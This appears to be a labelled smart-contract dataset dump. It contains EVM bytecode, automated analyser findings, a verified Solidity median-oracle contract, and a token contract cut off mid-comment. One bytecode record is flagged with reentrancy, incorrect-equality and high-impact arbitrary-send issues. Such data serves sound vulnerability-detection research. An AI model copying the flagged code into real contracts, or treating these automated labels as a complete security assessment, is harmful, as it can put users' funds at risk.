60006006548211156113875760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c5565b6000611391611617565b905061139d8382611473565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600082611403575060006104f8565b600061140f8385611b67565b90508261141c8583611b86565b1461139d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c5565b600061139d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061163a565b6000806114c28385611aaa565b90508381101561139d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c5565b808061152257611522611668565b60008060008061153187611684565b6001600160a01b038d166000908152600160205260409020549397509195509350915061155e90856116cb565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461158d90846114b5565b6001600160a01b0389166000908152600160205260409020556115af8161170d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115f491815260200190565b60405180910390a3505050508061161057611610600954600855565b5050505050565b6000806000611624611757565b90925090506116338282611473565b9250505090565b6000818361165b5760405162461bcd60e51b81526004016104c591906117fd565b5060006113178486611b86565b60006008541161167757600080fd5b6008805460095560009055565b60008060008060008061169987600854611797565b9150915060006116a7611617565b90506000806116b78a85856117c4565b909b909a5094985092965092945050505050565b600061139d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e6565b6000611717611617565b9050600061172583836113f4565b3060009081526001602052604090205490915061174290826114b5565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006117728282611473565b82101561178e57505060065492678ac7230489e8000092509050565b90939092509050565b600080806117aa60646111e787876113f4565b905060006117b886836116cb565b96919550909350505050565b600080806117d286856113f4565b905060006117e086866113f4565b905060006117ee83836116cb565b92989297509195505050505050565b600060208083528351808285015260005b8181101561182a5785810183015185820160400152820161180e565b8181111561183c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e457600080fd5b803561187281611852565b919050565b6000806040838503121561188a57600080fd5b823561189581611852565b946020939093013593505050565b6000806000606084860312156118b857600080fd5b83356118c381611852565b925060208401356118d381611852565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561190d57600080fd5b823567ffffffffffffffff8082111561192557600080fd5b818501915085601f83011261193957600080fd5b81358181111561194b5761194b6118e4565b8060051b604051601f19603f83011681018181108582111715611970576119706118e4565b60405291825284820192508381018501918883111561198e57600080fd5b938501935b828510156119b3576119a485611867565b84529385019392850192611993565b98975050505050505050565b6000602082840312156119d157600080fd5b813561139d81611852565b600080604083850312156119ef57600080fd5b82356119fa81611852565b91506020830135611a0a81611852565b809150509250929050565b600060208284031215611a2757600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611aa357611aa3611a79565b5060010190565b60008219821115611abd57611abd611a79565b500190565b600060208284031215611ad457600080fd5b815161139d81611852565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b2f5784516001600160a01b031683529383019391830191600101611b0a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611b6257611b62611a79565b500390565b6000816000190483118215151615611b8157611b81611a79565b500290565b600082611ba357634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208900df640b8777b4a61d3a7408de45fe2c2369acf58ee4b2081176271c1b3bc064736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,191 |
0xcD3093da21BF4ce5320DC2025C7452A82c3294E1
|
/**
*Submitted for verification at Etherscan.io on 2021-03-19
*/
pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns(address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Select
* @dev Median Selection Library
*/
library Select {
using SafeMath for uint256;
/**
* @dev Sorts the input array up to the denoted size, and returns the median.
* @param array Input array to compute its median.
* @param size Number of elements in array to compute the median for.
* @return Median of array.
*/
function computeMedian(uint256[] array, uint256 size)
internal
pure
returns (uint256)
{
require(size > 0 && array.length >= size);
for (uint256 i = 1; i < size; i++) {
for (uint256 j = i; j > 0 && array[j-1] > array[j]; j--) {
uint256 tmp = array[j];
array[j] = array[j-1];
array[j-1] = tmp;
}
}
if (size % 2 == 1) {
return array[size / 2];
} else {
return array[size / 2].add(array[size / 2 - 1]) / 2;
}
}
}
interface IOracle {
function getData() external returns (uint256, bool);
}
/**
* @title Median Oracle
*
* @notice Provides a value onchain that's aggregated from a whitelisted set of
* providers.
*/
contract MedianOracle is Ownable, IOracle {
using SafeMath for uint256;
struct Report {
uint256 timestamp;
uint256 payload;
}
// Addresses of providers authorized to push reports.
address[] public providers;
// Address of the target asset.
address public targetAsset;
// Reports indexed by provider address. Report[0].timestamp > 0
// indicates provider existence.
mapping (address => Report[2]) public providerReports;
event ProviderAdded(address provider);
event ProviderRemoved(address provider);
event ReportTimestampOutOfRange(address provider);
event ProviderReportPushed(address indexed provider, uint256 payload, uint256 timestamp);
// The number of seconds after which the report is deemed expired.
uint256 public reportExpirationTimeSec;
// The number of seconds since reporting that has to pass before a report
// is usable.
uint256 public reportDelaySec;
// The minimum number of providers with valid reports to consider the
// aggregate report valid.
uint256 public minimumProviders = 1;
// Timestamp of 1 is used to mark uninitialized and invalidated data.
// This is needed so that timestamp of 1 is always considered expired.
uint256 private constant MAX_REPORT_EXPIRATION_TIME = 520 weeks;
/**
* @param reportExpirationTimeSec_ The number of seconds after which the
* report is deemed expired.
* @param reportDelaySec_ The number of seconds since reporting that has to
* pass before a report is usable
* @param minimumProviders_ The minimum number of providers with valid
* reports to consider the aggregate report valid.
*/
constructor(uint256 reportExpirationTimeSec_,
uint256 reportDelaySec_,
uint256 minimumProviders_)
public
{
require(reportExpirationTimeSec_ <= MAX_REPORT_EXPIRATION_TIME);
require(minimumProviders_ > 0);
reportExpirationTimeSec = reportExpirationTimeSec_;
reportDelaySec = reportDelaySec_;
minimumProviders = minimumProviders_;
}
/**
* @notice Sets the report expiration period.
* @param reportExpirationTimeSec_ The number of seconds after which the
* report is deemed expired.
*/
function setReportExpirationTimeSec(uint256 reportExpirationTimeSec_)
external
onlyOwner
{
require(reportExpirationTimeSec_ <= MAX_REPORT_EXPIRATION_TIME);
reportExpirationTimeSec = reportExpirationTimeSec_;
}
/**
* @notice Sets the time period since reporting that has to pass before a
* report is usable.
* @param reportDelaySec_ The new delay period in seconds.
*/
function setReportDelaySec(uint256 reportDelaySec_)
external
onlyOwner
{
reportDelaySec = reportDelaySec_;
}
/**
* @notice Sets the minimum number of providers with valid reports to
* consider the aggregate report valid.
* @param minimumProviders_ The new minimum number of providers.
*/
function setMinimumProviders(uint256 minimumProviders_)
external
onlyOwner
{
require(minimumProviders_ > 0);
minimumProviders = minimumProviders_;
}
/**
* @notice Sets the asset contract address to track the price.
* @param targetAsset_ Address of the asset token.
*/
function setTargetAsset(
address targetAsset_)
external
onlyOwner
{
targetAsset = targetAsset_;
}
/**
* @notice Pushes a report for the calling provider.
* @param payload is expected to be 18 decimal fixed point number.
*/
function pushReport(uint256 payload) external
{
address providerAddress = msg.sender;
Report[2] storage reports = providerReports[providerAddress];
uint256[2] memory timestamps = [reports[0].timestamp, reports[1].timestamp];
require(timestamps[0] > 0);
uint8 index_recent = timestamps[0] >= timestamps[1] ? 0 : 1;
uint8 index_past = 1 - index_recent;
// Check that the push is not too soon after the last one.
require(timestamps[index_recent].add(reportDelaySec) <= now);
reports[index_past].timestamp = now;
reports[index_past].payload = payload;
emit ProviderReportPushed(providerAddress, payload, now);
}
/**
* @notice Invalidates the reports of the calling provider.
*/
function purgeReports() external
{
address providerAddress = msg.sender;
require (providerReports[providerAddress][0].timestamp > 0);
providerReports[providerAddress][0].timestamp=1;
providerReports[providerAddress][1].timestamp=1;
}
/**
* @notice Computes median of provider reports whose timestamps are in the
* valid timestamp range.
* @return AggregatedValue: Median of providers reported values.
* valid: Boolean indicating an aggregated value was computed successfully.
*/
function getData()
external
returns (uint256, bool)
{
uint256 reportsCount = providers.length;
uint256[] memory validReports = new uint256[](reportsCount);
uint256 size = 0;
uint256 minValidTimestamp = now.sub(reportExpirationTimeSec);
uint256 maxValidTimestamp = now.sub(reportDelaySec);
for (uint256 i = 0; i < reportsCount; i++) {
address providerAddress = providers[i];
Report[2] memory reports = providerReports[providerAddress];
uint8 index_recent = reports[0].timestamp >= reports[1].timestamp ? 0 : 1;
uint8 index_past = 1 - index_recent;
uint256 reportTimestampRecent = reports[index_recent].timestamp;
if (reportTimestampRecent > maxValidTimestamp) {
// Recent report is too recent.
uint256 reportTimestampPast = providerReports[providerAddress][index_past].timestamp;
if (reportTimestampPast < minValidTimestamp) {
// Past report is too old.
emit ReportTimestampOutOfRange(providerAddress);
} else if (reportTimestampPast > maxValidTimestamp) {
// Past report is too recent.
emit ReportTimestampOutOfRange(providerAddress);
} else {
// Using past report.
validReports[size++] = providerReports[providerAddress][index_past].payload;
}
} else {
// Recent report is not too recent.
if (reportTimestampRecent < minValidTimestamp) {
// Recent report is too old.
emit ReportTimestampOutOfRange(providerAddress);
} else {
// Using recent report.
validReports[size++] = providerReports[providerAddress][index_recent].payload;
}
}
}
if (size < minimumProviders) {
return (0, false);
}
return (Select.computeMedian(validReports, size), true);
}
/**
* @notice Authorizes a provider.
* @param provider Address of the provider.
*/
function addProvider(address provider)
external
onlyOwner
{
require(providerReports[provider][0].timestamp == 0);
providers.push(provider);
providerReports[provider][0].timestamp = 1;
emit ProviderAdded(provider);
}
/**
* @notice Revokes provider authorization.
* @param provider Address of the provider.
*/
function removeProvider(address provider)
external
onlyOwner
{
delete providerReports[provider];
for (uint256 i = 0; i < providers.length; i++) {
if (providers[i] == provider) {
if (i + 1 != providers.length) {
providers[i] = providers[providers.length-1];
}
providers.length--;
emit ProviderRemoved(provider);
break;
}
}
}
/**
* @return The number of authorized providers.
*/
function providersSize()
external
view
returns (uint256)
{
return providers.length;
}
}
|
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806312e800f1146101175780631e20d14b146101425780633bc5de301461016f5780633d4403ac146101a557806346e2577a146101fc57806350f3fc811461023f578063715018a6146102ac5780638a355a57146102c35780638b4c80ae146103065780638da5cb5b146103495780638f32d59b146103a0578063b577c0c7146103cf578063d13d5971146103fa578063da6b0eea14610411578063dcbb82531461043e578063df98298514610469578063ef35bcce14610494578063f10864b6146104c1578063f2fde38b14610529578063f68be5131461056c575b600080fd5b34801561012357600080fd5b5061012c610599565b6040518082815260200191505060405180910390f35b34801561014e57600080fd5b5061016d6004803603810190808035906020019092919050505061059f565b005b34801561017b57600080fd5b50610184610766565b60405180838152602001821515151581526020019250505060405180910390f35b3480156101b157600080fd5b506101ba610c27565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561020857600080fd5b5061023d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c4d565b005b34801561024b57600080fd5b5061026a60048036038101908080359060200190929190505050610de9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102b857600080fd5b506102c1610e27565b005b3480156102cf57600080fd5b50610304600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ef9565b005b34801561031257600080fd5b50610347600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611110565b005b34801561035557600080fd5b5061035e611167565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ac57600080fd5b506103b5611190565b604051808215151515815260200191505060405180910390f35b3480156103db57600080fd5b506103e46111e7565b6040518082815260200191505060405180910390f35b34801561040657600080fd5b5061040f6111ed565b005b34801561041d57600080fd5b5061043c6004803603810190808035906020019092919050505061130c565b005b34801561044a57600080fd5b50610453611329565b6040518082815260200191505060405180910390f35b34801561047557600080fd5b5061047e611336565b6040518082815260200191505060405180910390f35b3480156104a057600080fd5b506104bf6004803603810190808035906020019092919050505061133c565b005b3480156104cd57600080fd5b5061050c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611368565b604051808381526020018281526020019250505060405180910390f35b34801561053557600080fd5b5061056a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061139e565b005b34801561057857600080fd5b50610597600480360381019080803590602001909291905050506113bd565b005b60055481565b6000806105aa6116e1565b600080339450600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209350604080519081016040528085600060028110151561060b57fe5b6002020160000154815260200185600160028110151561062757fe5b60020201600001548152509250600083600060028110151561064557fe5b602002015111151561065657600080fd5b82600160028110151561066557fe5b602002015183600060028110151561067957fe5b6020020151101561068b57600161068e565b60005b9150816001039050426106c1600554858560ff166002811015156106ae57fe5b60200201516113ed90919063ffffffff16565b111515156106ce57600080fd5b42848260ff166002811015156106e057fe5b600202016000018190555085848260ff166002811015156106fd57fe5b60020201600101819055508473ffffffffffffffffffffffffffffffffffffffff167f460fcc5a1888965d48c2cab000fe20da51b1297d995af79a1924e2312d0d82b38742604051808381526020018281526020019250505060405180910390a2505050505050565b60008060006060600080600080600061077d611703565b6000806000806001805490509b508b6040519080825280602002602001820160405280156107ba5781602001602082028038833980820191505090505b509a50600099506107d66004544261140e90919063ffffffff16565b98506107ed6005544261140e90919063ffffffff16565b9750600096505b8b871015610bed5760018781548110151561080b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169550600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600280602002604051908101604052809291906000905b828210156108ca57838260020201604080519081016040529081600082015481526020016001820154815250508152602001906001019061088e565b5050505094508460016002811015156108df57fe5b6020020151600001518560006002811015156108f757fe5b602002015160000151101561090d576001610910565b60005b9350836001039250848460ff1660028110151561092957fe5b602002015160000151915087821115610af557600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208360ff1660028110151561098b57fe5b6002020160000154905088811015610a05577f71f61642cb57ac11764a2f35fb4edc5361ced458af35bbed8f5ebf708c10e34186604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1610af0565b87811115610a75577f71f61642cb57ac11764a2f35fb4edc5361ced458af35bbed8f5ebf708c10e34186604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1610aef565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208360ff16600281101515610ac457fe5b60020201600101548b8b806001019c50815181101515610ae057fe5b90602001906020020181815250505b5b610be0565b88821015610b65577f71f61642cb57ac11764a2f35fb4edc5361ced458af35bbed8f5ebf708c10e34186604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1610bdf565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208460ff16600281101515610bb457fe5b60020201600101548b8b806001019c50815181101515610bd057fe5b90602001906020020181815250505b5b86806001019750506107f4565b6006548a1015610c06576000808191509d509d50610c17565b610c108b8b61142f565b60019d509d505b5050505050505050505050509091565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610c55611190565b1515610c6057600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600281101515610caf57fe5b6002020160000154141515610cc357600080fd5b60018190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600281101515610d7857fe5b60020201600001819055507fae9c2c6481964847714ce58f65a7f6dcc41d0d8394449bacdf161b5920c4744a81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600181815481101515610df857fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e2f611190565b1515610e3a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610f03611190565b1515610f0e57600080fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f599190611731565b600090505b60018054905081101561110c578173ffffffffffffffffffffffffffffffffffffffff16600182815481101515610f9157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156110ff576001805490506001820114151561108157600180808054905003815481101515610ffe57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660018281548110151561103857fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6001805480919060019003611096919061175c565b507f1589f8555933761a3cff8aa925061be3b46e2dd43f621322ab611d300f62b1d982604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a161110c565b8080600101915050610f5e565b5050565b611118611190565b151561112357600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b60065481565b60003390506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600060028110151561124157fe5b600202016000015411151561125557600080fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006002811015156112a457fe5b60020201600001819055506001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060016002811015156112fe57fe5b600202016000018190555050565b611314611190565b151561131f57600080fd5b8060058190555050565b6000600180549050905090565b60045481565b611344611190565b151561134f57600080fd5b60008111151561135e57600080fd5b8060068190555050565b60036020528160005260406000208160028110151561138357fe5b60020201600091509150508060000154908060010154905082565b6113a6611190565b15156113b157600080fd5b6113ba816115e7565b50565b6113c5611190565b15156113d057600080fd5b6312bed40081111515156113e357600080fd5b8060048190555050565b600080828401905083811015151561140457600080fd5b8091505092915050565b60008083831115151561142057600080fd5b82840390508091505092915050565b600080600080600085118015611446575084865110155b151561145157600080fd5b600192505b84831015611533578291505b6000821180156114a25750858281518110151561147b57fe5b90602001906020020151866001840381518110151561149657fe5b90602001906020020151115b156115265785828151811015156114b557fe5b90602001906020020151905085600183038151811015156114d257fe5b9060200190602002015186838151811015156114ea57fe5b906020019060200201818152505080866001840381518110151561150a57fe5b9060200190602002018181525050818060019003925050611462565b8280600101935050611456565b600160028681151561154157fe5b061415611573578560028681151561155557fe5b0481518110151561156257fe5b9060200190602002015193506115de565b60026115d187600160028981151561158757fe5b040381518110151561159557fe5b90602001906020020151886002898115156115ac57fe5b048151811015156115b957fe5b906020019060200201516113ed90919063ffffffff16565b8115156115da57fe5b0493505b50505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561162357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040805190810160405280600290602082028038833980820191505090505090565b6080604051908101604052806002905b61171b611788565b8152602001906001900390816117135790505090565b5060008082016000905560018201600090555060020160008082016000905560018201600090555050565b8154818355818111156117835781836000526020600020918201910161178291906117a2565b5b505050565b604080519081016040528060008152602001600081525090565b6117c491905b808211156117c05760008160009055506001016117a8565b5090565b905600a165627a7a72305820225fabf67d7ba9edd55a446b633ca60f4bc11170eb3bb0204843ec19874c3d670029
|
{"success": true, "error": null, "results": {}}
| 8,192 |
0x1dc2189b355b5f53b5fdf64d22891900b19fb5ea
|
pragma solidity 0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c)
{
if (a == 0)
{
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256)
{
return balances[_owner];
}
}
// @title ERC20 interface
// @dev see https://github.com/ethereum/EIPs/issues/20
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
//@title Standard ERC20 token
//@dev Implementation of the basic standard token.
//@dev https://github.com/ethereum/EIPs/issues/20
//@dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
contract StandardToken is ERC20, BasicToken,Ownable{
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
